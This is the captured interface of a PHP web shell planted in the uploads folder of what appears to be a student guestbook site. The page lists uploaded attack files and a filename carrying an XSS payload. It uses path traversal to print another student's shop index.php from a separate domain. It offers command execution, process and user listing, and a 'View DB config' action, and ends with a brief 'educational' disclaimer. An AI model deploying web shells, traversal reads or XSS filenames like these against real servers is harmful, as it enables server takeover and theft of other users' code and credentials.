🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ./../../../../586004.klas4s23.mid-ica.nl/public_html/../public_html/burgerbudy/index.php

<?php 
session_start();

require_once 'classes/model/database.php';

// if (isset($_SESSION['session_id']) && $_SESSION['session_id'] == session_id()) {
//     // Ingelogd
// }


$db = new Database();
$conn = $db->getConnection();

// Fetch all deals
$stmt = $conn->prepare("SELECT * FROM products WHERE category = 'deal'");
$stmt->execute();
$deals = $stmt->fetchAll(PDO::FETCH_ASSOC);

// Fetch Popular products
$popular = [];
$stmt = $conn->prepare("SELECT * FROM products WHERE popular = TRUE");
if ($stmt->execute()) {
    $popular = $stmt->fetchAll(PDO::FETCH_ASSOC);
}

// Fetch New Drop products
$newDrops = [];
$stmt = $conn->prepare("SELECT * FROM products ORDER BY id DESC LIMIT 5;");
if ($stmt->execute()) {
    $newDrops = $stmt->fetchAll(PDO::FETCH_ASSOC);
}
?>

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <link rel="stylesheet" href="Pages/public/styles/index.css">
    <title>Home</title> 
    <style>
        .slideshow-container {
            position: relative;
            max-width: 100%;
            margin: auto;
        }

        .slides {
            display: none;
            text-align: center;
        }

        .prev {
            cursor: pointer;
            position: absolute;
            left: 0;
            top: 50%;
            width: auto;
            margin-top: -22px;
            padding: 16px;
            color: white;
            font-weight: bold;
            font-size: 18px;
            transition: 0.6s ease;
            border-radius: 0 3px 3px 0;
            user-select: none;
        }

        .next {
            cursor: pointer;
            position: absolute;
            top: 50%;
            width: auto;
            margin-top: -22px;
            padding: 16px;
            color: white;
            font-weight: bold;
            font-size: 18px;
            transition: 0.6s ease;
            border-radius: 0 3px 3px 0;
            user-select: none;
            right: 0;
            border-radius: 3px 0 0 3px;
        }

        .prev:hover, .next:hover {
            background-color: rgba(0,0,0,0.8);
        }
    </style>
</head>

<?php include '../burgerbudy/classes/components/header.php'; ?>

<body>
    <div class="deal-van-de-week">
        <div class="deal-van-de-week-titel">
            <h1>Deal van de week</h1>
        </div>
        <div class="slideshow-container">
            <?php foreach ($deals as $index => $deal): ?>
                <div class="slides">
                    <div class="deal-van-de-week-container">
                        <div class="deal-van-de-week-image">
                        <img src="/burgerbudy/uploads/<?= htmlspecialchars($deal['image']) ?>" alt="<?= htmlspecialchars($deal['name']) ?>">
                        </div>
                        <div class="deal-van-de-week-text">
                            <h2><?= htmlspecialchars($deal['name']) ?></h2>
                            <p><?= htmlspecialchars($deal['description']) ?></p>
                            <p>€ <?= htmlspecialchars(number_format($deal['price'], 2)) ?></p>
                            <form action="/burgerbudy/Functions/products/add_to_cart.php" method="POST">
                                <input type="hidden" name="product_id" value="<?= htmlspecialchars($deal['id']) ?>">
                                <input type="hidden" name="source" value="index">
                                <button type="submit">Bestel nu</button>
                            </form>
                        </div>
                    </div>
                </div>
            <?php endforeach; ?>
            <a class="prev" onclick="plusSlides(-1)">&#10094;</a>
            <a class="next" onclick="plusSlides(1)">&#10095;</a>
        </div>
    </div>

    <div class="content">
        <h2>Populair</h2>
        <?php if ($popular): ?>
            <?php foreach ($popular as $item): ?>
                <div class="popular-item">
                <img src="/burgerbudy/uploads/<?= htmlspecialchars($item['image']) ?>" alt="<?= htmlspecialchars($item['name']) ?>">
                    <h3><?= htmlspecialchars($item['name']) ?></h3>
                    <p>€ <?= htmlspecialchars(number_format($item['price'], 2)) ?></p>
                    <form action="/burgerbudy/Functions/products/add_to_cart.php" method="POST">
                        <input type="hidden" name="product_id" value="<?= htmlspecialchars($item['id']) ?>">
                        <input type="hidden" name="source" value="index">
                        <button type="submit">Add to Cart</button>
                    </form>
                </div>
            <?php endforeach; ?>
        <?php else: ?>
            <p>Geen populaire producten beschikbaar.</p>
        <?php endif; ?>
    </div>

    <div class="new-drop-text">
        <h2>New Drop</h2>
    </div>
    <div class="new-drop">
        <?php if ($newDrops): ?>
            <?php foreach ($newDrops as $item): ?>
                <div class="new-drop-item">
                <img src="/burgerbudy/uploads/<?= htmlspecialchars($item['image']) ?>" alt="<?= htmlspecialchars($item['name']) ?>">
                    <div class="new-drop-details">
                        <h3><?= htmlspecialchars($item['name']) ?></h3>
                        <p>€ <?= htmlspecialchars(number_format($item['price'], 2)) ?></p>
                        <form action="/burgerbudy/Functions/products/add_to_cart.php" method="POST">
                            <input type="hidden" name="product_id" value="<?= htmlspecialchars($item['id']) ?>">
                            <input type="hidden" name="source" value="index">
                            <button type="submit">Add to Cart</button>
                        </form>
                    </div>
                </div>
            <?php endforeach; ?>
        <?php else: ?>
            <p>Geen nieuwe producten beschikbaar.</p>
        <?php endif; ?>
    </div>
    <button class="meer-button"><a href="/burgerbudy/Pages/public/assortiment.php">Meer</a></button>

    <?php include '../burgerbudy/classes/components/footer.php'; ?>

    <script>
        let slideIndex = 1;
        let timer;
        showSlides(slideIndex);

        function plusSlides(n) {
            clearTimeout(timer);
            showSlides(slideIndex += n);
        }

        function currentSlide(n) {
            clearTimeout(timer);
            showSlides(slideIndex = n);
        }

        function showSlides(n) {
            let slides = document.getElementsByClassName("slides");
            if (n > slides.length) { slideIndex = 1 }
            if (n < 1) { slideIndex = slides.length }
            for (let i = 0; i < slides.length; i++) {
                slides[i].style.display = "none";
            }
            slides[slideIndex - 1].style.display = "block";
            timer = setTimeout(() => showSlides(slideIndex += 1), 10000); // Change image every 10 seconds
        }
    </script>
</body>
</html>

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!